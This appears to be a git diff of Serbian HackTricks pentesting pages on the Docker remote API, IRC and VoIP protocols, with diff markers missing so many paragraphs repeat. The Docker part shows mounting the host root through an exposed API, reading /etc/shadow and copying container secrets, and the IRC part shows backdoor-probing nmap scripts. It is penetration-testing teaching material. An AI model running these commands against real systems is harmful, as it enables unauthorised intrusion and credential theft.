* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
### Osnove Docker-a
#### Šta je
Docker je **vodeća platforma** u **industriji kontejnerizacije**, predvodeći **kontinuiranu inovaciju**. Omogućava jednostavno kreiranje i distribuciju aplikacija, obuhvatajući **tradicionalne i futurističke**, i obezbeđuje njihovo **sigurno implementiranje** u različitim okruženjima.
Docker je **vodeća platforma** u industriji **kontejnerizacije**, predvodeći **kontinuiranu inovaciju**. Omogućava jednostavno kreiranje i distribuciju aplikacija, obuhvatajući **tradicionalne i futurističke**, i obezbeđuje njihovo **sigurno implementiranje** u različitim okruženjima.
#### Osnovna arhitektura Docker-a
* [**containerd**](http://containerd.io): Ovo je **osnovni izvršni program** za kontejnere, zadužen za sveobuhvatno **upravljanje životnim ciklusom kontejnera**. To uključuje rukovanje **transferom i skladištenjem slika**, kao i nadgledanje **izvršavanja, praćenja i umrežavanja** kontejnera. **Detaljniji uvidi** o containerd-u su **dalje istraženi**.
* **Container-shim** igra ključnu ulogu kao **posrednik** u rukovanju **bezglavnim kontejnerima**, besprekorno preuzimajući od **runc**-a nakon što su kontejneri inicijalizovani.
* [**runc**](http://runc.io): Poštovan zbog svojih sposobnosti **laganog i univerzalnog izvršnog programa za kontejnere**, runc je usklađen sa **OCI standardom**. Koristi ga containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, evoluirajući iz originalnog **libcontainer**-a.
* [**grpc**](http://www.grpc.io) je esencijalan za **olakšavanje komunikacije** između containerd-a i **docker-engine**, osiguravajući **efikasnu interakciju**.
* [**OCI**](https://www.opencontainers.org) je ključan za održavanje **OCI specifikacija** za izvršavanje i slike, pri čemu su najnovije verzije Docker-a **usaglašene sa OCI standardima za sliku i izvršavanje**.
* [**containerd**](http://containerd.io): Ovo je **osnovni izvršni program** za kontejnere, zadužen za sveobuhvatno **upravljanje životnim ciklusom kontejnera**. To uključuje rukovanje **transferom i skladištenjem slika**, kao i nadgledanje **izvršavanja, praćenja i umrežavanja** kontejnera. **Detaljnije uvide** o containerd-u **dalje istražujemo**.
* **Container-shim** igra ključnu ulogu kao **posrednik** u rukovanju **glavoboljnim kontejnerima**, besprekorno preuzimajući od **runc** nakon što su kontejneri inicijalizovani.
* [**runc**](http://runc.io): Poštovan zbog svojih mogućnosti **laganog i univerzalnog izvršnog programa za kontejnere**, runc je usklađen sa **OCI standardom**. Koristi ga containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, evoluirajući iz originalnog **libcontainer-a**.
* [**grpc**](http://www.grpc.io) je ključan za **olakšavanje komunikacije** između containerd-a i **docker-engine-a**, osiguravajući **efikasnu interakciju**.
* [**OCI**](https://www.opencontainers.org) je ključan za održavanje **OCI specifikacija** za izvršavanje i slike, pri čemu su najnovije verzije Docker-a **usaglašene sa OCI standardima** za slike i izvršavanje.
#### Osnovne komande
```bash
@ -53,11 +67,11 @@ docker system prune -a
```
#### Containerd
**Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere poput **Docker-a i Kubernetes-a**, među ostalima. Cilj mu je **simplifikacija izvršavanja kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije potrebne njegovim korisnicima, teži da izostavi nepotrebne komponente. Međutim, postizanje ovog cilja u potpunosti se smatra izazovnim.
**Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere poput **Docker-a i Kubernetes-a**, među ostalima. Cilj mu je da **simplifikuje izvršavanje kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije potrebne njegovim korisnicima, teži da izostavi nepotrebne komponente. Međutim, postizanje ovog cilja u potpunosti se smatra izazovnim.
Ključna dizajnerska odluka je da **Containerd ne upravlja mrežom**. Mreženje se smatra ključnim elementom u distribuiranim sistemima, sa kompleksnostima poput Softverski definisane mreže (SDN) i otkrivanja usluga koje se značajno razlikuju od jedne platforme do druge. Stoga, Containerd ostavlja upravljanje mrežom da ga upravljaju platforme koje podržava.
Ključna dizajnerska odluka je da **Containerd ne upravlja mrežom**. Mreženje se smatra ključnim elementom u distribuiranim sistemima, sa kompleksnostima poput Softverski definisane mreže (SDN) i otkrivanja servisa koje se značajno razlikuju od jedne platforme do druge. Stoga, Containerd ostavlja upravljanje mrežom platformama koje podržava.
Iako **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup funkcionalnosti Docker-a. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Docker-u i ne podržava direktno kreiranje Docker rojeva. Ova razlika ističe fokusiranu ulogu Containerd-a kao okruženja za pokretanje kontejnera, prepuštajući specijalizovanije funkcionalnosti platformama sa kojima se integriše.
Iako **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup funkcionalnosti Docker-a. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Docker-u i ne podržava direktno kreiranje Docker rojeva. Ova razlika ističe fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, prepuštajući specijalizovanije funkcionalnosti platformama sa kojima se integriše.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -75,20 +89,20 @@ ctr container delete <containerName>
```
#### Podman
**Podman** je open-source kontejnerski motor koji se pridržava [Open Container Initiative (OCI) standarda](https://github.com/opencontainers), razvijen i održavan od strane Red Hata. Ističe se od Docker-a nekoliko različitih karakteristika, posebno svojom **arhitekturom bez demona** i podrškom za **rootless kontejnere**, omogućavajući korisnicima da pokreću kontejnere bez root privilegija.
**Podman** je open-source kontejnerski motor koji se pridržava [Open Container Initiative (OCI) standarda](https://github.com/opencontainers), razvijen i održavan od strane Red Hata. Ističe se od Docker-a nekoliko različitih karakteristika, posebno svojom **arhitekturom bez demona** i podrškom za **rootless kontejnere**, omogućavajući korisnicima da pokreću kontejnere bez privilegija root korisnika.
Podman je dizajniran da bude kompatibilan sa Docker-ovim API-jem, omogućavajući korišćenje Docker CLI komandi. Ova kompatibilnost se proširuje na njegov ekosistem, koji uključuje alate poput **Buildah** za izgradnju kontejnerskih slika i **Skopeo** za operacije sa slikama poput push, pull i inspect. Više detalja o ovim alatima možete pronaći na njihovoj [GitHub stranici](https://github.com/containers/buildah/tree/master/docs/containertools).
**Ključne Razlike**
* **Arhitektura**: Za razliku od Docker-ovog modela klijent-server sa pozadinskim demonom, Podman funkcioniše bez demona. Ovaj dizajn znači da kontejneri pokreću sa privilegijama korisnika koji ih pokreće, poboljšavajući sigurnost eliminisanjem potrebe za root pristupom.
* **Arhitektura**: Za razliku od Docker-ovog modela klijent-server sa pozadinskim demonom, Podman funkcioniše bez demona. Ovaj dizajn znači da kontejneri rade sa privilegijama korisnika koji ih pokreće, poboljšavajući sigurnost eliminacijom potrebe za pristupom root korisnika.
* **Systemd Integracija**: Podman se integriše sa **systemd**-om za upravljanje kontejnerima, omogućavajući upravljanje kontejnerima putem systemd jedinica. Ovo se razlikuje od Docker-a koji koristi systemd uglavnom za upravljanje Docker demon procesom.
* **Rootless Kontejneri**: Ključna karakteristika Podman-a je njegova sposobnost da pokreće kontejnere pod privilegijama korisnika koji ih pokreće. Ovaj pristup minimizira rizike povezane sa probijanjem kontejnera osiguravajući da napadači dobiju samo privilegije kompromitovanog korisnika, a ne root pristup.
* **Rootless Kontejneri**: Ključna karakteristika Podman-a je sposobnost pokretanja kontejnera pod privilegijama korisnika koji ih pokreće. Ovaj pristup minimizira rizike povezane sa probijanjem kontejnera osiguravajući da napadači dobiju samo privilegije kompromitovanog korisnika, a ne pristup root korisniku.
Pristup Podman-a nudi sigurnu i fleksibilnu alternativu Docker-u, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima.
{% hint style="info" %}
Napomena da kako podman ima za cilj da podrži isti API kao docker, možete koristiti iste komande sa podman-om kao sa docker-om kao što su:
Imajte na umu da kako Podman cilja da podrži isti API kao Docker, možete koristiti iste komande sa Podman-om kao sa Docker-om, kao što su:
```bash
podman --version
podman info
@ -99,7 +113,7 @@ podman ls
### Osnovne informacije
Udaljeni API se podrazumevano pokreće na portu 2375 kada je omogućen. Usluga podrazumevano ne zahteva autentifikaciju, što omogućava napadaču da pokrene privilegovan Docker kontejner. Korišćenjem udaljenog API-ja, moguće je povezati hostove / (korenski direktorijum) sa kontejnerom i čitati/pisati fajlove u okruženju hosta.
Udaljeni API se podrazumevano pokreće na portu 2375 kada je omogućen. Usluga podrazumevano ne zahteva autentifikaciju, što omogućava napadaču da pokrene privilegovan Docker kontejner. Korišćenjem udaljenog API-ja, moguće je povezati domaćine / (korenski direktorijum) sa kontejnerom i čitati/pisati datoteke u okruženju domaćina.
**Podrazumevani port:** 2375
```
@ -146,7 +160,7 @@ docker-init:
Version: 0.18.0
GitCommit: fec3683
```
Ako možete **kontaktirati udaljeni Docker API pomoću `docker` komande** možete **izvršiti** bilo koju od **prethodno komentarisanih** [**komandi Dockera**](2375-pentesting-docker.md#basic-commands) kako biste interagirali sa servisom.
Ako možete **kontaktirati udaljeni Docker API pomoću `docker` komande** možete **izvršiti** bilo koju od **prethodno komentarisanih** [**komandi Docker-a**](2375-pentesting-docker.md#basic-commands) kako biste interagirali sa servisom.
{% hint style="info" %}
Možete `export DOCKER_HOST="tcp://localhost:2375"` i **izbeći** korišćenje `-H` parametra sa docker komandom
@ -212,7 +226,7 @@ cat /mnt/etc/shadow
### Eskalacija privilegija
Ako se nalazite unutar domaćina koji koristi Docker, možete [**pročitati ove informacije kako biste pokušali da povećate privilegije**](../linux-hardening/privilege-escalation/#writable-docker-socket).
Ako se nalazite unutar hosta koji koristi Docker, možete [**pročitati ove informacije kako biste pokušali da povećate privilegije**](../linux-hardening/privilege-escalation/#writable-docker-socket).
### Otkrivanje tajni u pokrenutim Docker kontejnerima
```bash
@ -225,7 +239,7 @@ Proverite **env** (sekciju sa okruženjskim promenljivama) za tajne informacije
* IP adrese.
* Portove.
* Putanje.
* Ostalo... .
* Ostalo .
Ako želite da izvučete fajl:
```bash
@ -239,7 +253,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
* `./docker-bench-security.sh`
* Možete koristiti alat [https://github.com/kost/dockscan](https://github.com/kost/dockscan) da pregledate vašu trenutnu instalaciju Dockera.
* `dockscan -v unix:///var/run/docker.sock`
* Možete koristiti alat [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) da proverite privilegije koje će kontejner imati kada se pokrene sa različitim sigurnosnim opcijama. Ovo je korisno kako biste znali posledice korišćenja određenih sigurnosnih opcija za pokretanje kontejnera:
* Možete koristiti alat [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) da vidite privilegije koje će kontejner imati kada se pokrene sa različitim sigurnosnim opcijama. Ovo je korisno kako biste znali posledice korišćenja određenih sigurnosnih opcija za pokretanje kontejnera:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@ -275,7 +289,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Logovanje sumnjive aktivnosti
* Možete koristiti alat [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) da otkrijete **sumnjivo ponašanje u pokrenutim kontejnerima**.
* Obratite pažnju u sledećem odeljku kako **Falco kompajlira jezgro modula i ubacuje ga**. Nakon toga, učitava pravila i **počinje da beleži sumnjive aktivnosti**. U ovom slučaju je otkriveno da su pokrenuta 2 privilegovana kontejnera, od kojih je jedan imao osetljivu montažu, i nakon nekoliko sekundi je otkriveno kako je otvoren shell unutar jednog od kontejnera.
* Pogledajte u sledećem odeljku kako **Falco kompajlira jezgro modula i ubacuje ga**. Nakon toga, učitava pravila i **počinje da beleži sumnjive aktivnosti**. U ovom slučaju je otkriveno da su pokrenuta 2 privilegovana kontejnera, od kojih je jedan imao osetljivu montažu, a nakon nekoliko sekundi je otkriveno kako je otvoren shell unutar jednog od kontejnera.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
@ -325,13 +339,27 @@ Možete koristiti auditd za praćenje Docker-a.
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Njihov primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera koji kradu informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,21 +6,35 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Osnovne informacije
IRC, inicialno **plain text protokol**, je dodeljen **194/TCP** od strane IANA, ali se često koristi na **6667/TCP** i sličnim portovima kako bi se izbegla potreba za **root privilegijama** za rad.
IRC, inicijalno **plain text protokol**, dodeljen je **194/TCP** od strane IANA, ali se obično izvršava na **6667/TCP** i sličnim portovima kako bi se izbegla potreba za **root privilegijama** za rad.
Za povezivanje na server je potrebno samo **nadimak**. Nakon uspostavljanja veze, server vrši reverznu DNS pretragu IP adrese korisnika.
**Nadimak** je sve što je potrebno da se povežete sa serverom. Nakon uspostavljanja veze, server vrši obrnuti DNS upit na IP adresu korisnika.
Korisnici su podeljeni na **operatore**, koji za veći pristup trebaju **korisničko ime** i **šifru**, i obične **korisnike**. Operatori imaju različite nivoe privilegija, pri čemu su administratori na vrhu.
Korisnici su podeljeni u **operatere**, koji trebaju **korisničko ime** i **šifru** za više pristupa, i obične **korisnike**. Operateri imaju različite nivoe privilegija, pri čemu su administratori na vrhu.
**Podrazumevani portovi:** 194, 6667, 6660-7000
```
@ -38,7 +52,7 @@ openssl s_client -connect <IP>:<PORT> -quiet
```
### Uputstvo
Ovde možete videti kako se povezati i pristupiti IRC-u koristeći **nasumično ime** i zatim nabrojati neke zanimljive informacije. Više komandi IRC-a možete naučiti [ovde](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP).
Ovde možete videti kako da se povežete i pristupite IRC-u koristeći **nasumični nadimak**, a zatim nabrojite neke zanimljive informacije. Više komandi IRC-a možete naučiti [ovde](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP).
```bash
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
@ -74,16 +88,6 @@ NICK patrick
USER test1 test2 <IP> :test3
```
### **Pronađite i skenirajte IRC usluge**
IRC (Internet Relay Chat) je protokol za trenutnu komunikaciju putem interneta. IRC usluge omogućavaju korisnicima da se povežu i razgovaraju u realnom vremenu putem različitih kanala. Kao hakir, možete iskoristiti IRC usluge za pronalaženje ranjivosti i izvršavanje napada.
Da biste pronašli IRC usluge, možete koristiti alate poput Nmap-a ili Masscan-a za skeniranje otvorenih portova na ciljnom sistemu. Tipično, IRC usluge koriste TCP port 6667, ali mogu koristiti i druge portove.
Nakon što pronađete otvorene IRC portove, možete koristiti alate poput IRCSekwester ili IRCScan za skeniranje i identifikaciju IRC servera. Ovi alati će vam pružiti informacije o verziji IRC servera, dostupnim kanalima i drugim relevantnim informacijama.
Kada identifikujete IRC server, možete koristiti IRC klijent poput HexChata ili Irssi-a za povezivanje na server i pristupanje kanalima. Ovo će vam omogućiti da proučavate komunikaciju, identifikujete ranjivosti i izvršite odgovarajuće napade.
Važno je napomenuti da je hakiranje IRC usluga ilegalno bez pristanka vlasnika sistema. Uvek se pridržavajte zakona i etičkih smernica prilikom izvođenja bilo kakvih hakiranja ili testiranja penetracije.
```bash
nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 <ip>
```
@ -91,7 +95,20 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
### Shodan
* `pretraga vašeg hostname-a`
* `pretraga vašeg imena hosta`
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživački motor pokrenut na **dubokom webu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji kradu informacije**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji kradu informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihov motor **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
@ -99,10 +116,10 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,19 +6,33 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Signalni protokoli
### SIP (Session Initiation Protocol)
Ovo je industrijski standard, za više informacija proverite:
Ovo je industrijski standard, za više informacija pogledajte:
{% content-ref url="sip-session-initiation-protocol.md" %}
[sip-session-initiation-protocol.md](sip-session-initiation-protocol.md)
@ -26,65 +40,81 @@ Ovo je industrijski standard, za više informacija proverite:
### MGCP (Media Gateway Control Protocol)
MGCP (Media Gateway Control Protocol) je **signalni** i **kontrolni protokol poziva** opisan u RFC 3435. Radi u centralizovanoj arhitekturi koja se sastoji od tri glavne komponente:
MGCP (Media Gateway Control Protocol) je **signalni** i **kontrolni protokol poziva** opisan u RFC 3435. Radi u centralizovanoj arhitekturi, koja se sastoji od tri glavne komponente:
1. **Call Agent ili Media Gateway Controller (MGC)**: Glavna kapija u MGCP arhitekturi je odgovorna za **upravljanje i kontrolu medijskih kapija**. Ona se bavi procesima postavljanja, izmena i prekida poziva. MGC komunicira sa medijskim kapijama koristeći MGCP protokol.
2. **Medijske kapije (MGs) ili Slave kapije**: Ovi uređaji **konvertuju digitalne medijske tokove između različitih mreža**, kao što su tradicionalna prekidačka telefonska mreža i paketski prekidačke IP mreže. Upravlja ih MGC i izvršavaju naredbe koje dobijaju od njega. Medijske kapije mogu sadržati funkcije kao što su transcoding, paketizacija i otklanjanje eha.
3. **Signalne kapije (SGs)**: Ove kapije su odgovorne za **konvertovanje signalnih poruka između različitih mreža**, omogućavajući besprekornu komunikaciju između tradicionalnih telefonskih sistema (npr. SS7) i IP baziranih mreža (npr. SIP ili H.323). Signalne kapije su ključne za interoperabilnost i obezbeđivanje pravilne komunikacije informacija o kontroli poziva između različitih mreža.
1. **Pozivni agent ili kontroler medija (MGC)**: Glavni gateway u MGCP arhitekturi odgovoran je za **upravljanje i kontrolu medijskih gateway-a**. Obavlja procese postavljanja poziva, modifikacije i završetka. MGC komunicira sa medijskim gateway-ima koristeći MGCP protokol.
2. **Medijski gateway-i (MGs) ili robovi gateway-a**: Ovi uređaji **konvertuju digitalne medijske tokove između različitih mreža**, kao što su tradicionalna prekidačka telefonska mreža i paketski prekidački IP mreža. Upravljaju ih MGC i izvršavaju komande koje dobijaju od njega. Medijski gateway-i mogu obuhvatiti funkcije poput transkodiranja, paketizacije i otklanjanja eha.
3. **Signalni gateway-i (SGs)**: Ovi gateway-i su odgovorni za **konvertovanje signalnih poruka između različitih mreža**, omogućavajući besprekornu komunikaciju između tradicionalnih telefonskih sistema (npr. SS7) i IP baziranih mreža (npr. SIP ili H.323). Signalni gateway-i su ključni za interoperabilnost i osiguravanje da se informacije o kontroli poziva pravilno komuniciraju između različitih mreža.
Ukratko, MGCP centralizuje logiku kontrole poziva u call agentu, što olakšava upravljanje medijskim i signalnim kapijama, pružajući bolju skalabilnost, pouzdanost i efikasnost u telekomunikacionim mrežama.
U suštini, MGCP centralizuje logiku kontrole poziva u pozivnom agentu, što pojednostavljuje upravljanje medijskim i signalnim gateway-ima, pružajući bolju skalabilnost, pouzdanost i efikasnost u telekomunikacionim mrežama.
### SCCP (Skinny Client Control Protocol)
Skinny Client Control Protocol (SCCP) je **vlasnički signalni i kontrolni protokol poziva** u vlasništvu kompanije Cisco Systems. Koristi se pretežno za komunikaciju između Cisco Unified Communications Manager (ranije poznat kao CallManager) i Cisco IP telefona ili drugih Cisco glasovnih i video uređaja.
Skinny Client Control Protocol (SCCP) je **vlasnički signalni i kontrolni protokol poziva** u vlasništvu kompanije Cisco Systems. Koristi se pretežno za komunikaciju između **Cisco Unified Communications Manager** (ranije poznat kao CallManager) i Cisco IP telefona ili drugih Cisco glasovnih i video uređaja.
SCCP je lak protokol koji pojednostavljuje komunikaciju između servera za kontrolu poziva i uređaja. Naziva se "Skinny" zbog svog minimalističkog dizajna i smanjenih zahteva za propusnost u odnosu na druge VoIP protokole poput H.323 ili SIP.
SCCP je lak protokol koji pojednostavljuje komunikaciju između servera kontrole poziva i uređaja na kraju. Naziva se "Skinny" zbog svog minimalističkog dizajna i smanjenih zahteva za propusnost u poređenju sa drugim VoIP protokolima poput H.323 ili SIP.
